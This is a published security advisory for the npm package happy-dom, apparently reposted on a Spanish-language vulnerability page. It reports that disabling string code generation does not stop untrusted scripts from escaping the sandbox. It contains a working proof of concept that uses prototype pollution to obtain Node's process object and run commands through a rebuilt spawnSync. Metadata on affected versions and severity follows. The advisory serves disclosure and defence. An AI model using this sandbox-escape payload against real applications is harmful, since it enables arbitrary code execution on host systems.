happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript
Summary
The mitigation proposed in GHSA-37j7-fg3j-429f for disabling eval/Function when executing untrusted code in happy-dom does not suffice, since it still allows prototype pollution payloads.
Details
The untrusted script and the rest of the application still run in the same Isolate/process, so attackers can deploy prototype pollution payloads to hijack important references like "process" in the example below, or to hijack control flow via flipping checks of undefined property. There might be other payloads that allow the manipulation of require, e.g., via (univeral) gadgets (https://www.usenix.org/system/files/usenixsecurity23-shcherbakov.pdf).
PoC
Attackers can pollute builtins like Object.prototype.hasOwnProperty() to obtain important references at runtime, e.g., "process". In this way, attackers might be able to execute arbitrary commands like in the example below via spawn().
import { Browser } from "happy-dom";
const browser = new Browser({settings: {enableJavaScriptEvaluation: true}});
const page = browser.newPage({console: true});
page.url = 'https://example.com';
let payload = 'spawn_sync = process.binding(`spawn_sync`);normalizeSpawnArguments = function(c,b,a){if(Array.isArray(b)?b=b.slice(0):(a=b,b=[]),a===undefined&&(a={}),a=Object.assign({},a),a.shell){const g=[c].concat(b).join(` `);typeof a.shell===`string`?c=a.shell:c=`/bin/sh`,b=[`-c`,g];}typeof a.argv0===`string`?b.unshift(a.argv0):b.unshift(c);var d=a.env||process.env;var e=[];for(var f in d)e.push(f+`=`+d[f]);return{file:c,args:b,options:a,envPairs:e};};spawnSync = function(){var d=normalizeSpawnArguments.apply(null,arguments);var a=d.options;var c;if(a.file=d.file,a.args=d.args,a.envPairs=d.envPairs,a.stdio=[{type:`pipe`,readable:!0,writable:!1},{type:`pipe`,readable:!1,writable:!0},{type:`pipe`,readable:!1,writable:!0}],a.input){var g=a.stdio[0]=util._extend({},a.stdio[0]);g.input=a.input;}for(c=0;c<a.stdio.length;c++){var e=a.stdio[c]&&a.stdio[c].input;if(e!=null){var f=a.stdio[c]=util._extend({},a.stdio[c]);isUint8Array(e)?f.input=e:f.input=Buffer.from(e,a.encoding);}}var b=spawn_sync.spawn(a);if(b.output&&a.encoding&&a.encoding!==`buffer`)for(c=0;c<b.output.length;c++){if(!b.output[c])continue;b.output[c]=b.output[c].toString(a.encoding);}return b.stdout=b.output&&b.output[1],b.stderr=b.output&&b.output[2],b.error&&(b.error= b.error + `spawnSync `+d.file,b.error.path=d.file,b.error.spawnargs=d.args.slice(1)),b;};'
page.content = `<html>
<script>
function f() { let process = this; ${payload}; spawnSync("touch", ["success.flag"]); return "success";}
this.constructor.constructor.__proto__.__proto__.toString = f;
this.constructor.constructor.__proto__.__proto__.hasOwnProperty = f;
// Other methods that can be abused this way: isPrototypeOf, propertyIsEnumerable, valueOf
</script>
<body>Hello world!</body></html>`;
await browser.close();
console.log(`The process object is ${process}`);
console.log(process.hasOwnProperty('spawn'));
Impact
Arbitrary code execution via breaking out of the Node.js' vm isolation.
Recommended Immediate Actions
Users can freeze the builtins in the global scope to defend against attacks similar to the PoC above. However, the untrusted code might still be able to retrieve all kind of information available in the global scope and exfiltrate them via fetch(), even without prototype pollution capabilities. Not to mention side channels caused by the shared process/isolate. Migration to isolated-vm is suggested instead.
Cris from the Endor Labs Security Research Team, who has worked extensively on JavaScript sandboxing in the past, submitted this advisory.
Software afectado
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| Plataforma | Paquete | Versiones vulnerables | Corregida en |
|---|---|---|---|
| Paquete de npm | happy-dom | >= 19.0.0, < 20.0.2 | 20.0.2 |
Referencias
- Vector CVSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H- Debilidad (CWE)
CWE-1321- Plataforma
- npm
- Paquete
happy-dom- Publicada
- 15.10.2025
- Actualizado
- 11.10.2026 10:22
Fuentes y licencias
OSV / GitHub Advisory Database - GHSA-qpm2-6cq5-7pq5 - CC BY 4.0
Historial de vulnerabilidades: happy-dom
Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.
- Entradas en total
- 5
- Primera → última
- 11.2024 03.2026
- Sin corrección
- 0
- Explotada en ataques
- 0
Distribución por gravedad
- Crítica 3
- Alta 2
Divulgaciones por año
- 2024: 1
- 2025: 2
- 2026: 2
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happy-dom's `--disallow-code-generation-from-strings` is not sufficient for isolating untrusted JavaScript esta entrada
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